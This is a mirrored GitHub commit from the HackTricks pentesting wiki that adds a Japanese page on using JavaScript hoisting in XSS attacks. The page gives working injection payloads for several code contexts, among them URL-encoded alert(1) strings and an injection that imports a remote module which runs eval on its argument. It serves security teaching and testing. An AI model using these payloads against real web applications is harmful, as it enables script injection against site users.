mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['pentesting-web/ssrf-server-side-request-forgery/README.md',
This commit is contained in:
parent
32d1e5fe2b
commit
2aade64a6c
4 changed files with 475 additions and 742 deletions
|
@ -665,6 +665,7 @@
|
|||
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
|
||||
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
|
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load diff
153
pentesting-web/xss-cross-site-scripting/js-hoisting.md
Normal file
153
pentesting-web/xss-cross-site-scripting/js-hoisting.md
Normal file
|
@ -0,0 +1,153 @@
|
|||
# JS Hoisting
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を見たいですか**?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか**?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。**
|
||||
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
{% hint style="success" %}
|
||||
JavaScript Hoistingは、関数、変数、クラス、またはインポートの**宣言がコードの実行前にそのスコープの先頭に移動するように見える**プロセスを指します。
|
||||
{% endhint %}
|
||||
|
||||
JavaScriptエンジンは、任意のスクリプトに対して(少なくとも2回の)パスを行います。これは大幅な単純化ですが、JSの実行は2つのステップで構成されていると考えることができます。**まず、コードが解析され**、**構文エラー**のチェックや抽象構文木への変換が含まれます。このステップには、特定の形式の宣言が実行スタックの先頭に「移動」(ホイスティング)されると説明される**ホイスティング**も含まれます。コードが解析ステップを通過すると、エンジンはスクリプトの**実行を続けます**。
|
||||
|
||||
1. (注入されたペイロードを含む)任意のコードは構文規則に従わなければなりません。**最終的なスクリプトのどこかで構文が無効であれば、何も実行されません**。
|
||||
2. スクリプト内のコードが配置される場所は重要かもしれませんが、**コードスニペットのテキスト表現は、最終的にランタイムによって実行されるものと同じではありません**。任意の言語には、式が実行される順序を決定する規則があるかもしれません。
|
||||
|
||||
### ホイスティングの4つのタイプ
|
||||
|
||||
MDNのホイスティングの説明に戻ると、JavaScriptには4種類のホイスティングがあると読むことができます。MDNから直接引用します:
|
||||
|
||||
> 1. 宣言される行より前のスコープで変数の値を使用できること。(「値のホイスティング」)
|
||||
> 2. 宣言される行より前のスコープで変数を参照できるが、`ReferenceError`を投げずに、値は常に`undefined`であること。(「宣言のホイスティング」)
|
||||
> 3. 変数の宣言が、それが宣言される行より前のスコープでの動作変更を引き起こすこと。
|
||||
> 4. 宣言の副作用が、それを含む残りのコードを評価する前に生じること。
|
||||
|
||||
続いて
|
||||
|
||||
> 上記の4つの関数宣言はタイプ1の動作でホイスティングされます;`var`宣言はタイプ2の動作でホイスティングされます;[`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)、[`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)、および[`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class)宣言(レキシカル宣言とも呼ばれます)はタイプ3の動作でホイスティングされます;[`import`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import)宣言はタイプ1とタイプ4の動作でホイスティングされます。
|
||||
|
||||
## シナリオ
|
||||
|
||||
したがって、宣言されていないオブジェクトが使用された後に**JSコードを注入**できるシナリオがある場合、それを宣言することで**構文を修正**できます(エラーを投げる代わりにあなたのコードが実行されるように)。
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
// You can define it in your injection to execute JS
|
||||
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
|
||||
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
|
||||
|
||||
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
|
||||
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
|
||||
```
|
||||
|
||||
```javascript
|
||||
// If a variable is not defined, you could define it in the injection
|
||||
// In the following example var a is not defined
|
||||
function myFunction(a,b){
|
||||
return 1
|
||||
};
|
||||
myFunction(a, '<INJECTION>')
|
||||
|
||||
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
|
||||
test'); var a = 1; alert(1);
|
||||
```
|
||||
|
||||
```javascript
|
||||
// If an undeclared class is used, you cannot declare it AFTER being used
|
||||
var variable = new unexploitableClass();
|
||||
<INJECTION>
|
||||
// But you can actually declare it as a function, being able to fix the syntax with something like:
|
||||
function unexploitableClass() {
|
||||
return 1;
|
||||
}
|
||||
alert(1);
|
||||
```
|
||||
|
||||
```javascript
|
||||
// Properties are not hoisted
|
||||
// So the following examples where the 'cookie' attribute doesn´t exist
|
||||
// cannot be fixed if you can only inject after that code:
|
||||
test.cookie('leo','INJECTION')
|
||||
test['cookie','injection']
|
||||
```
|
||||
## さらなるシナリオ
|
||||
```javascript
|
||||
// Undeclared var accessing to an undeclared method
|
||||
x.y(1,INJECTION)
|
||||
// You can inject
|
||||
alert(1));function x(){}//
|
||||
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
|
||||
x.y(1,alert(1));function x(){}//)
|
||||
```
|
||||
|
||||
```javascript
|
||||
// Undeclared var accessing 2 nested undeclared method
|
||||
x.y.z(1,INJECTION)
|
||||
// You can inject
|
||||
");import {x} from "https://example.com/module.js"//
|
||||
// It will be executed
|
||||
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
|
||||
|
||||
|
||||
// The imported module:
|
||||
// module.js
|
||||
var x = {
|
||||
y: {
|
||||
z: function(param) {
|
||||
eval(param);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
export { x };
|
||||
```
|
||||
|
||||
```javascript
|
||||
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
|
||||
// It was injected the: let config;`-alert(1)`//`
|
||||
// With the goal of making in the block the var config be empty, so the return is not executed
|
||||
// And the same injection was replicated in the body URL to execute an alert
|
||||
|
||||
try {
|
||||
if(config){
|
||||
return;
|
||||
}
|
||||
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
|
||||
let config;`-alert(1)`//`+"
|
||||
} catch {
|
||||
fetch("/error", {
|
||||
method: "POST",
|
||||
body: {
|
||||
url:"https://try-to-catch.glitch.me/"+`
|
||||
let config;`-alert(1)-`//`+""
|
||||
}
|
||||
})
|
||||
}
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
* [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
|
||||
* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**PEASSの最新バージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**にフォローしてください。**
|
||||
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue